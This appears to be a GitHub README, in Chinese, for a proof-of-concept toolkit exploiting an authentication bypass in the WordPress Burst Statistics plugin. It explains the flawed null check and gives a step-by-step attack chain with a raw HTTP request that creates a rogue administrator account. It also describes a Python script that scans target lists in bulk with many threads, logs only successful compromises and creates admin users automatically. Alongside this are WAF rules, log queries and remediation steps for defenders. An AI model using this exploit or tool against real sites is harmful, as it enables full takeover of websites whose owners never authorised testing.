Squamity/CVE-2026-8181-PoC

GitHub: Squamity/CVE-2026-8181-PoC

针对 WordPress Burst Statistics 插件身份验证绕过漏洞(CVE-2026-8181)的自动化 PoC 利用与检测缓解工具包。

Stars: 0 | Forks: 0

# 🚨 CVE-2026-8181 | Burst Statistics 身份验证绕过 [![CVE-2026-8181](https://img.shields.io/badge/CVE-2026--8181-red.svg?style=for-the-badge)](https://nvd.nist.gov/vuln/detail/CVE-2026-8181) [![CVSS](https://img.shields.io/badge/CVSS-9.8%20(Critical)-brightgreen.svg?style=for-the-badge)](https://nvd.nist.gov/vuln/detail/CVE-2026-8181) [![WordPress Plugin](https://img.shields.io/badge/Plugin-Burst%20Statistics-blue.svg?style=for-the-badge)](https://wordpress.org/plugins/burst-statistics/) [![Affected Versions](https://img.shields.io/badge/Versions-3.4.0%20--%203.4.1.1-orange.svg?style=for-the-badge)](https://github.com/whattheslime/CVE-2026-8181) [![Actively Exploited](https://img.shields.io/badge/Status-Actively%20Exploited-darkred.svg?style=for-the-badge)](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
## 📑 目录 1. [执行摘要](#-executive-summary) 2. [🔬 深入剖析:根本原因分析](#-deep-dive-root-cause-analysis) 3. [⚔️ 攻击手册:漏洞利用](#️-offensive-playbook-exploitation) 4. [🛡️ 防御手册:检测与缓解](#️-defensive-playbook-detection--mitigation) 5. [🛠️ PoC 工具使用](#-poc-tool-usage) 6. [参考资料与免责声明](#-references--disclaimer) ## 📖 执行摘要 **CVE-2026-8181** 是一个严重的身份验证绕过漏洞,影响 **Burst Statistics** WordPress 插件(版本 `3.4.0` 至 `3.4.1.1`)。该缺陷存在于插件的 MainWP 代理集成中。由于在早期的 `plugins_loaded` hook 阶段对 application password 的验证不当,即使请求缺乏有效的凭证,插件也会错误地授予包含 `X-BurstMainWP: 1` 头的 REST API 请求管理员权限。 这会将一个简单的、未经身份验证的 HTTP 请求转化为完全的管理员接管,绕过所有标准的 WordPress 身份验证机制。 ## 🔬 深入剖析:根本原因分析 为了理解一个简单的 header 如何获取系统的最高权限,我们必须剖析插件身份验证处理程序中的 PHP 逻辑。 ### 漏洞逻辑流程 该漏洞源于 `includes/Frontend/class-mainwp-proxy.php` 中 `is_mainwp_authenticated()` 方法内一个处理不当的条件分支。 1. **触发点:** 插件在优先级为 `9` 的 `plugins_loaded` 钩子上注册了 `init()`。这在 WordPress 生命周期中**太早了**。 2. **钩子:** 当请求携带 `X-BurstMainWP: 1` header 时,`has_admin_access()` 会将身份验证委托给 `is_mainwp_authenticated()`。 3. **核心调用:** 该方法读取 `Authorization` header 并将凭证转发给 WordPress 核心的 `wp_authenticate_application_password()`。 4. **致命缺陷 (CWE-287):** 由于 REST API 尚未将 `application_password_is_api_request` filter 设置为 `true`(由于 hook 执行过早),核心函数返回 **`null`** 而不是 `WP_Error` 对象。 5. **绕过:** 插件仅检查 `is_wp_error( $user )`。由于 `null` **不是** `WP_Error`,守卫检查得以通过。 6. **接管:** 代码执行转入不安全的分支,使用攻击者提供的用户名调用 `wp_set_current_user()`,瞬间将请求提升为**完整的管理员上下文**。 ### 伪代码表示 ``` // Simplified representation of the vulnerable code in Burst Statistics <= 3.4.1.1 $user = wp_authenticate_application_password( null, $username, $password ); if ( is_wp_error( $user ) ) { return false; // Correctly handles explicit authentication failures } // 🚨 THE FATAL FLAW 🚨 // If no application password is provided or API request isn't flagged yet, // wp_authenticate_application_password returns NULL. // The code fails to check for NULL! if ( $user === null ) { // Instead of failing securely, it falls through to this unsafe branch: $admin_user = get_user_by( 'login', $attacker_supplied_username ); wp_set_current_user( $admin_user->ID ); // BOOM: Admin context granted! return true; } ``` ## ⚔️ 攻击手册:漏洞利用 本节面向 **Red Teamers** 和**授权的渗透测试人员**。 ### 攻击链 1. **侦察:** 确认目标运行的是 Burst Statistics <= 3.4.1.1(例如,通过 `/wp-content/plugins/burst-statistics/readme.txt`)。 2. **用户枚举:** 查找有效的管理员用户名。WordPress 的 REST API 经常通过 `GET /wp-json/wp/v2/users` 泄露这些信息。如果被拦截,可以使用作者归档技巧:`/?author=1`。 3. **载荷构建:** 构造一个 HTTP POST 请求来创建新用户:`POST /wp-json/wp/v2/users`。 4. **Header 注入:** 注入魔法的 header: - `X-BurstMainWP: 1` - `Authorization: Basic ` 5. **执行:** 服务器处理请求,遇到有缺陷的 `null` 检查,并将请求提升为管理员上下文。新的管理员用户被创建。 ### 原始 HTTP 请求示例 ``` POST /wp-json/wp/v2/users HTTP/1.1 Host: target.com X-BurstMainWP: 1 Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA== Content-Type: application/json { "username": "backdoor_admin", "password": "SuperSecretPassword123!", "email": "attacker@evil.com", "roles": ["administrator"] } ``` ## 🛡️ 防御手册:检测与缓解 本节面向 **Blue Teamers**、**SOC 分析师**和**系统管理员**。 ### 🕵️ 检测策略 #### 1. Web Application Firewall (WAF) 规则 在边缘节点拦截或监控特定的 header。 **ModSecurity / OWASP CRS 规则:** ``` SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \ "id:1000001, \ phase:1, \ deny, \ status:403, \ log, \ msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \ tag:'CVE-2026-8181', \ severity:'CRITICAL'" ``` **Cloudflare WAF 自定义规则:** ```(http.request.headers["X-BurstMainWP"] eq "1")``` #### 2. 日志分析与 SIEM 查询 搜索 Web 服务器日志中是否存在该 header 以及结合了 REST API 用户创建的行为。 **Splunk / ELK 查询:** ``` index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST" | stats count by src_ip, uri | where count > 0 ``` #### 3. 入侵指标 如果您怀疑存在入侵行为,请查找这些漏洞利用后的痕迹: - **新的管理员用户:** 检查 `wp_users` 表中通过 REST API 创建且具有 `administrator` 角色的用户。 - **可疑插件:** 检查 `wp-content/plugins/` 是否存在未经授权的上传文件(通常是将 webshell 伪装成合法插件)。 - **修改的文件:** 检查 `wp-content/themes/` 或核心文件中是否存在未经授权的更改。 ### 🛡️ 缓解与修复 | 优先级 | 操作 | 详情 | | :---: | :--- | :--- | | **P0** | **修补插件** | 立即通过 WordPress 仪表盘将 **Burst Statistics** 更新至 **`3.4.2`** 或更高版本。 | | **P1** | **WAF 虚拟补丁** | 如果无法立即打补丁,请部署 WAF 规则(见上文)以拦截 `X-BurstMainWP` header。 | | **P2** | **限制用户枚举** | 使用安全插件或 `.htaccess` 规则阻止对 `/wp-json/wp/v2/users` 和 `/?author=*` 的公开访问。 | | **P3** | **审计用户和文件** | 运行脚本审计最近创建的管理员账户并撤销任何未经授权的访问。扫描 webshell。 | ## 🛠️ PoC 工具使用 本仓库包含 `CVE-2026-8181.py`,这是一个 Python 自动化工具,用于在**授权的实验室环境**中验证该漏洞。 ### 功能 | 功能 | 描述 | | :--- | :--- | | 🎯 **单一目标** | 使用 `-u` 标志扫描特定网站。 | | 📦 **批量操作** | 通过 `-f targets.txt` 提供目标列表(支持使用 `#` 添加注释)。 | | ⚡ **并发** | 使用多线程 worker 加快批量扫描速度(`-j N`)。 | | 💾 **智能输出** | 使用 `-o file.txt` 生成合并报告。在批量模式下,**仅记录成功利用的记录**。 | | 📂 **按主机导出** | 使用 `--output-dir` 为每个被攻陷的主机保存单独的 `.txt` 文件。 | | 👤 **管理员创建** | 传递 `--create-user` 以通过 REST API 自动配置新的管理员账户。 | | 🔓 **实验环境 TLS** | 使用 `-k` 忽略 SSL 证书错误(严格用于本地/受信任的实验室环境)。 | ### 快速开始 ``` # 1. 安装依赖 pip3 install requests urllib3 # 2. Single Site Recon & Auto-Provision New Admin python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k # 3. Bulk Scan 与 Combined Success File python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k # 4. Bulk Scan 与 Individual Host Reports python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k ``` ## 📚 参考资料与致谢 - **最初发现者:** Chloe Chamberland & PRISM (Wordfence Threat Intelligence) - **CVE 记录:** [MITRE CVE-2026-8181](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8181) - **NVD 详情:** [NIST NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-8181) - **插件目录:** [Burst Statistics](https://wordpress.org/plugins/burst-statistics/) ## ⚖️ 免责声明
由 Squamity 用 ❤️ 构建 | 为防御与攻击教育而维护
标签:CISA项目, PoC, WordPress, 安全, 暴力破解, 超时处理, 逆向工具